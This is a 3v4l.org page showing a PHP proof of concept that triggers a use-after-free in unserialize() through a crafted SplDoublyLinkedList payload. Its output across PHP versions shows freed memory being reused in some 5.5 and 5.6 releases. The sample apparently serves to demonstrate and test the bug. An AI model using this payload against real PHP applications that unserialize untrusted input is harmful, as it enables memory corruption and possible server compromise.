3v4l.org

run code in 300+ PHP versions simultaneously
<?php class a { public $a; function __wakeup() { //foreach ($this->a as $aa) { // echo($aa); //} $this->a=null; } } $inner = 'i:1;:i:1711;:i:1712;:O:1:"a":1:{s:1:"a";R:2;}'; $exploit = 'a:3:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;O:1:"a":1:{s:1:"a";i:2;}i:2;r:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for 8.3.0 - 8.3.7
Warning: unserialize(): Error at offset 122 of 123 bytes in /in/g60MY on line 15 bool(false)
Output for 7.3.0 - 7.3.31, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.19
Notice: unserialize(): Error at offset 122 of 123 bytes in /in/g60MY on line 15 bool(false)
Output for 7.3.32 - 7.3.33
bool(false)
Output for 7.0.20, 7.1.5 - 7.1.25, 7.2.0 - 7.2.33
array(3) { [0]=> NULL [1]=> object(a)#3 (1) { ["a"]=> NULL } [2]=> int(1712) }
Output for 7.0.0 - 7.0.6, 7.1.0
array(3) { [0]=> NULL [1]=> object(a)#1 (1) { ["a"]=> NULL } [2]=> int(1712) }
Output for 5.5.29 - 5.5.35, 5.6.13 - 5.6.28
array(3) { [0]=> &NULL [1]=> object(a)#1 (1) { ["a"]=> NULL } [2]=> int(1712) }
Output for 5.5.28, 5.6.12
array(3) { [0]=> &NULL [1]=> object(a)#1 (1) { ["a"]=> NULL } [2]=> string(3) "hi2" }
Output for 5.5.0 - 5.5.27, 5.6.0 - 5.6.11
array(3) { [0]=> &NULL [1]=> object(a)#1 (1) { ["a"]=> NULL } [2]=> string(3) "hi1" }

preferences:
185.7 ms | 402 KiB | 231 Q